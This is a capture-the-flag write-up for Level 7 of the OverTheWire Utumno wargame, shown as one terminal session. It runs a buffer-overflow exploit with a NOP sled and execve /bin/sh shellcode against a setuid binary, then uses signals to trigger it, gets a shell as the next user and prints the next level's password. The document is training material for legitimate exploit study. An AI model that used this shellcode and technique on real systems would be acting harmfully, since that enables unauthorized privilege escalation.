# Utumno wargame: Level 7

# ssh utumno7@utumno.labs.overthewire.org
utumno7@utumno.labs.overthewire.org's password:
746f7469717565676165

utumno7@melissa$ file /utumno/utumno7
/utumno/utumno7: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.15, not stripped
utumno7@melissa$ export LD_POINTER_GUARD=0
utumno7@melissa$ /utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
^Z
[1]+  Stopped     /utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
utumno7@melissa$ jobs -l
[1]+ 30392 Stopped     /utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
utumno7@melissa$ kill -10 30392
utumno7@melissa$ fg
/utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
^Z
[1]+  Stopped     /utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
utumno7@melissa$ kill -12 30392
utumno7@melissa$ fg
/utumno/utumno7 `perl -e 'print "\x90"x118 . "\x31\xc0\x99\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80" . "\xff\x23\xab\xff" . "\xff\x23\xab\xff"'`
$ /usr/bin/whoami
utumno8
$ /bin/cat /etc/utumno_pass/utumno8
6a616579656574696176

A special thanks to Xelenonz.